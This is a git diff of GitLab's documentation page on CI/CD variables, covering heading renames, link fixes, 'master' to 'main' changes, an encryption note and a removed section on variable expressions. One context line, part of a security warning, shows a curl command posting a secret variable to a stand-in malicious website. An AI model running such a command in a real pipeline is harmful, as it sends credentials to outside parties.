diff options
Diffstat (limited to 'doc/ci/variables/README.md')
| -rw-r--r-- | doc/ci/variables/README.md | 258 |
1 files changed, 38 insertions, 220 deletions
diff --git a/doc/ci/variables/README.md b/doc/ci/variables/README.md index 272f379611e..1db2d0dd888 100644 --- a/doc/ci/variables/README.md +++ b/doc/ci/variables/README.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Authoring info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -16,9 +16,9 @@ CI/CD variables are a type of environment variable. You can use them to: You can use [predefined CI/CD variables](#predefined-cicd-variables) or define custom: - [Variables in the `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file). -- [Project CI/CD variables](#project-cicd-variables). -- [Group CI/CD variables](#group-cicd-variables). -- [Instance CI/CD variables](#instance-cicd-variables). +- [Project CI/CD variables](#add-a-cicd-variable-to-a-project). +- [Group CI/CD variables](#add-a-cicd-variable-to-a-group). +- [Instance CI/CD variables](#add-a-cicd-variable-to-an-instance). > For more information about advanced use of GitLab CI/CD: > @@ -56,10 +56,10 @@ You can create custom CI/CD variables: - For a project: - [In the project's `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file). - - [In the project's settings](#project-cicd-variables). + - [In the project's settings](#add-a-cicd-variable-to-a-project). - [With the API](../../api/project_level_variables.md). -- For all projects in a group [in the group's setting](#group-cicd-variables). -- For all projects in a GitLab instance [in the instance's settings](#instance-cicd-variables). +- For all projects in a group [in the group's setting](#add-a-cicd-variable-to-a-group). +- For all projects in a GitLab instance [in the instance's settings](#add-a-cicd-variable-to-an-instance). You can [override variable values manually for a specific pipeline](../jobs/index.md#specifying-variables-when-running-manual-jobs), or have them [prefilled in manual pipelines](../pipelines/index.md#prefill-variables-in-manual-pipelines). @@ -123,10 +123,10 @@ Use the [`value` and `description`](../yaml/README.md#prefill-variables-in-manua keywords to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines) for [manually-triggered pipelines](../pipelines/index.md#run-a-pipeline-manually). -### Project CI/CD variables +### Add a CI/CD variable to a project -You can add CI/CD variables to a project's settings. Only project members with -[maintainer permissions](../../user/permissions.md#project-members-permissions) +You can add CI/CD variables to a project's settings. Only project members with the +[Maintainer role](../../user/permissions.md#project-members-permissions) can add or update project CI/CD variables. To keep a CI/CD variable secret, put it in the project settings, not in the `.gitlab-ci.yml` file. @@ -138,7 +138,7 @@ To add or update variables in the project settings: - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. - **Value**: No limitations. - **Type**: [`File` or `Variable`](#cicd-variable-types). - - **Environment scope**: `All`, or specific [environments](../environments/index.md). + - **Environment scope**: (Optional) `All`, or specific [environments](../environments/index.md). - **Protect variable** (Optional): If selected, the variable is only available in pipelines that run on protected branches or tags. - **Mask variable** (Optional): If selected, the variable's **Value** is masked @@ -161,10 +161,9 @@ The output is:  -### Group CI/CD variables +### Add a CI/CD variable to a group -> - Introduced in GitLab 9.4. -> - Support for [environment scopes](https://gitlab.com/gitlab-org/gitlab/-/issues/2874) added to GitLab Premium in 13.11 +> Support for [environment scopes](https://gitlab.com/gitlab-org/gitlab/-/issues/2874) added to GitLab Premium in 13.11 To make a CI/CD variable available to all projects in a group, define a group CI/CD variable. @@ -181,14 +180,16 @@ To add a group variable: - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. - **Value**: No limitations. - **Type**: [`File` or `Variable`](#cicd-variable-types). - - **Environment scope** (optional): `All`, or specific [environments](#limit-the-environment-scope-of-a-cicd-variable). **(PREMIUM)** + - **Environment scope** (Optional): `All`, or specific [environments](#limit-the-environment-scope-of-a-cicd-variable). **(PREMIUM)** - **Protect variable** (Optional): If selected, the variable is only available in pipelines that run on protected branches or tags. - **Mask variable** (Optional): If selected, the variable's **Value** is masked in job logs. The variable fails to save if the value does not meet the [masking requirements](#mask-a-cicd-variable). -To view the group-level variables available in a project: +#### View all group-level variables available in a project + +To view all the group-level variables available in a project: 1. In the project, go to **Settings > CI/CD**. 1. Expand the **Variables** section. @@ -198,19 +199,20 @@ inherited.  -### Instance CI/CD variables +### Add a CI/CD variable to an instance **(FREE SELF)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14108) in GitLab 13.0. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/299879) in GitLab 13.11. To make a CI/CD variable available to all projects and groups in a GitLab instance, -define an instance CI/CD variable. +add an instance CI/CD variable. You must have the [Administrator role](../../user/permissions.md). You can define instance variables via the UI or [API](../../api/instance_level_ci_variables.md). To add an instance variable: -1. Navigate to your Admin Area's **Settings > CI/CD** and expand the **Variables** section. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Settings > CI/CD** and expand the **Variables** section. 1. Select the **Add variable** button, and fill in the details: - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. @@ -285,7 +287,7 @@ does not display in job logs. To mask a variable: -1. Go to **Settings > CI/CD** in the project, group or instance admin area. +1. In the project, group, or Admin Area, go to **Settings > CI/CD**. 1. Expand the **Variables** section. 1. Next to the variable you want to protect, select **Edit**. 1. Select the **Mask variable** check box. @@ -337,6 +339,10 @@ build: - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/" ``` +Variable values are encrypted using [`aes-256-cbc`](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard) +and stored in the database. This data can only be read and decrypted with a +valid [secrets file](../../raketasks/backup_restore.md#when-the-secrets-file-is-lost). + ### Custom variables validated by GitLab Some variables are listed in the UI so you can choose them more quickly. @@ -392,9 +398,9 @@ job_name: - D:\\qislsf\\apache-ant-1.10.5\\bin\\ant.bat "-DsosposDailyUsr=$env:SOSPOS_DAILY_USR" portal_test ``` -### Windows Batch +### Use variables with Windows Batch -To access environment variables in Windows Batch, surround the variable +To access CI/CD variables in Windows Batch, surround the variable with `%`: ```yaml @@ -434,7 +440,7 @@ Example job log output: export CI_JOB_ID="50" export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a" export CI_COMMIT_SHORT_SHA="1ecfd275" -export CI_COMMIT_REF_NAME="master" +export CI_COMMIT_REF_NAME="main" export CI_REPOSITORY_URL="https://gitlab-ci-token:[masked]@example.com/gitlab-org/gitlab-foss.git" export CI_COMMIT_TAG="1.0.0" export CI_JOB_NAME="spec:other" @@ -544,8 +550,8 @@ The order of precedence for variables is (from highest to lowest): [scheduled pipeline variables](../pipelines/schedules.md#using-variables), and [manual pipeline run variables](#override-a-variable-when-running-a-pipeline-manually). 1. Project [variables](#custom-cicd-variables). -1. Group [variables](#group-cicd-variables). -1. Instance [variables](#instance-cicd-variables). +1. Group [variables](#add-a-cicd-variable-to-a-group). +1. Instance [variables](#add-a-cicd-variable-to-an-instance). 1. [Inherited variables](#pass-an-environment-variable-to-another-job). 1. Variables defined in jobs in the `.gitlab-ci.yml` file. 1. Variables defined outside of jobs (globally) in the `.gitlab-ci.yml` file. @@ -596,7 +602,7 @@ You can grant permission to override variables to [maintainers](../../user/permi with overridden variables, they receive the `Insufficient permissions to set pipeline variables` error message. -If you [store your CI/CD configurations in a different repository](../../ci/pipelines/settings.md#custom-cicd-configuration-path), +If you [store your CI/CD configurations in a different repository](../../ci/pipelines/settings.md#custom-cicd-configuration-file), use this setting for control over the environment the pipeline runs in. You can enable this feature by using [the projects API](../../api/projects.md#edit-project) @@ -641,194 +647,6 @@ with `K8S_SECRET_`. CI/CD variables with multi-line values are not supported. -## CI/CD variable expressions - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/37397) in GitLab 10.7 for [the `only` and `except` CI keywords](../yaml/README.md#onlyvariables--exceptvariables) -> - [Expanded](https://gitlab.com/gitlab-org/gitlab/-/issues/27863) in GitLab 12.3 with [the `rules` keyword](../yaml/README.md#rules) - -Use variable expressions to limit which jobs are created -in a pipeline after changes are pushed to GitLab. - -In `.gitlab-ci.yml`, variable expressions work with both: - -- [`rules`](../yaml/README.md#rules), which is the recommended approach, and -- [`only` and `except`](../yaml/README.md#only--except), which are candidates for deprecation. - -This is particularly useful in combination with variables and triggered -pipeline variables. - -```yaml -deploy: - script: cap staging deploy - environment: staging - only: - variables: - - $RELEASE == "staging" - - $STAGING -``` - -Each expression provided is evaluated before a pipeline is created. - -If any of the conditions in `variables` evaluates to true when using `only`, -a new job is created. If any of the expressions evaluates to true -when `except` is being used, a job is not created. - -This follows the usual rules for [`only` / `except` policies](../yaml/README.md#onlyvariables--exceptvariables). - -### Syntax of CI/CD variable expressions - -Below you can find supported syntax reference. - -#### Equality matching using a string - -Examples: - -- `$VARIABLE == "some value"` -- `$VARIABLE != "some value"` (introduced in GitLab 11.11) - -You can use equality operator `==` or `!=` to compare a variable content to a -string. We support both, double quotes and single quotes to define a string -value, so both `$VARIABLE == "some value"` and `$VARIABLE == 'some value'` -are supported. `"some value" == $VARIABLE` is correct too. - -#### Checking for an undefined value - -Examples: - -- `$VARIABLE == null` -- `$VARIABLE != null` (introduced in GitLab 11.11) - -It sometimes happens that you want to check whether a variable is defined -or not. To do that, you can compare a variable to `null` keyword, like -`$VARIABLE == null`. This expression evaluates to true if -variable is not defined when `==` is used, or to false if `!=` is used. - -#### Checking for an empty variable - -Examples: - -- `$VARIABLE == ""` -- `$VARIABLE != ""` (introduced in GitLab 11.11) - -To check if a variable is defined but empty, compare it to: - -- An empty string: `$VARIABLE == ''` -- A non-empty string: `$VARIABLE != ""` - -#### Comparing two variables - -Examples: - -- `$VARIABLE_1 == $VARIABLE_2` -- `$VARIABLE_1 != $VARIABLE_2` (introduced in GitLab 11.11) - -It is possible to compare two variables. This compares values -of these variables. - -#### Variable presence check - -Example: `$STAGING` - -To create a job when there is some variable present, meaning it is defined and non-empty, -use the variable name as an expression, like `$STAGING`. If the `$STAGING` variable -is defined, and is non empty, expression evaluates to `true`. -`$STAGING` value needs to be a string, with length higher than zero. -Variable that contains only whitespace characters is not an empty variable. - -#### Regex pattern matching - -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/43601) in GitLab 11.0 - -Examples: - -- `=~`: True if pattern is matched. Ex: `$VARIABLE =~ /^content.*/` -- `!~`: True if pattern is not matched. Ex: `$VARIABLE_1 !~ /^content.*/` ([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/61900) in GitLab 11.11) - -Variable pattern matching with regular expressions uses the -[RE2 regular expression syntax](https://github.com/google/re2/wiki/Syntax). -Expressions evaluate as `true` if: - -- Matches are found when using `=~`. -- Matches are *not* found when using `!~`. - -Pattern matching is case-sensitive by default. Use `i` flag modifier, like -`/pattern/i` to make a pattern case-insensitive. - -#### Conjunction / Disjunction - -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/62867) in GitLab 12.0 - -Examples: - -- `$VARIABLE1 =~ /^content.*/ && $VARIABLE2 == "something"` -- `$VARIABLE1 =~ /^content.*/ && $VARIABLE2 =~ /thing$/ && $VARIABLE3` -- `$VARIABLE1 =~ /^content.*/ || $VARIABLE2 =~ /thing$/ && $VARIABLE3` - -It is possible to join multiple conditions using `&&` or `||`. Any of the otherwise -supported syntax may be used in a conjunctive or disjunctive statement. -Precedence of operators follows the -[Ruby 2.5 standard](https://ruby-doc.org/core-2.5.0/doc/syntax/precedence_rdoc.html), -so `&&` is evaluated before `||`. - -#### Parentheses - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/230938) in GitLab 13.3. -> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/238174) in GitLab 13.5. - -It is possible to use parentheses to group conditions. Parentheses have the highest -precedence of all operators. Expressions enclosed in parentheses are evaluated first, -and the result is used for the rest of the expression. - -Many nested parentheses can be used to create complex conditions, and the inner-most -expressions in parentheses are evaluated first. For an expression to be valid an equal -number of `(` and `)` need to be used. - -Examples: - -- `($VARIABLE1 =~ /^content.*/ || $VARIABLE2) && ($VARIABLE3 =~ /thing$/ || $VARIABLE4)` -- `($VARIABLE1 =~ /^content.*/ || $VARIABLE2 =~ /thing$/) && $VARIABLE3` -- `$CI_COMMIT_BRANCH == "my-branch" || (($VARIABLE1 == "thing" || $VARIABLE2 == "thing") && $VARIABLE3)` - -### Storing regular expressions in variables - -It is possible to store a regular expression in a variable, to be used for pattern matching. -The following example tests whether `$RELEASE` contains either the -string `staging0` or the string `staging1`: - -```yaml -variables: - STAGINGRELS: '/staging0|staging1/' - -deploy_staging: - script: do.sh deploy staging - environment: staging - rules: - - if: '$RELEASE =~ $STAGINGRELS' -``` - -NOTE: -The available regular expression syntax is limited. See [related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/35438) -for more details. - -If needed, you can use a test pipeline to determine whether a regular expression works in a variable. The example below tests the `^mast.*` regular expression directly, -as well as from in a variable: - -```yaml -variables: - MYSTRING: 'master' - MYREGEX: '/^mast.*/' - -testdirect: - script: /bin/true - rules: - - if: '$MYSTRING =~ /^mast.*/' - -testvariable: - script: /bin/true - rules: - - if: '$MYSTRING =~ $MYREGEX' -``` - ## Debug logging > Introduced in GitLab Runner 1.7. @@ -943,8 +761,8 @@ if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then ++ CI_PROJECT_VISIBILITY=public ++ export CI_PROJECT_REPOSITORY_LANGUAGES= ++ CI_PROJECT_REPOSITORY_LANGUAGES= -++ export CI_DEFAULT_BRANCH=master -++ CI_DEFAULT_BRANCH=master +++ export CI_DEFAULT_BRANCH=main +++ CI_DEFAULT_BRANCH=main ++ export CI_REGISTRY=registry.gitlab.com ++ CI_REGISTRY=registry.gitlab.com ++ export CI_API_V4_URL=https://gitlab.com/api/v4 @@ -961,10 +779,10 @@ if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then ++ CI_COMMIT_SHORT_SHA=dd648b2e ++ export CI_COMMIT_BEFORE_SHA=0000000000000000000000000000000000000000 ++ CI_COMMIT_BEFORE_SHA=0000000000000000000000000000000000000000 -++ export CI_COMMIT_REF_NAME=master -++ CI_COMMIT_REF_NAME=master -++ export CI_COMMIT_REF_SLUG=master -++ CI_COMMIT_REF_SLUG=master +++ export CI_COMMIT_REF_NAME=main +++ CI_COMMIT_REF_NAME=main +++ export CI_COMMIT_REF_SLUG=main +++ CI_COMMIT_REF_SLUG=main ... ``` |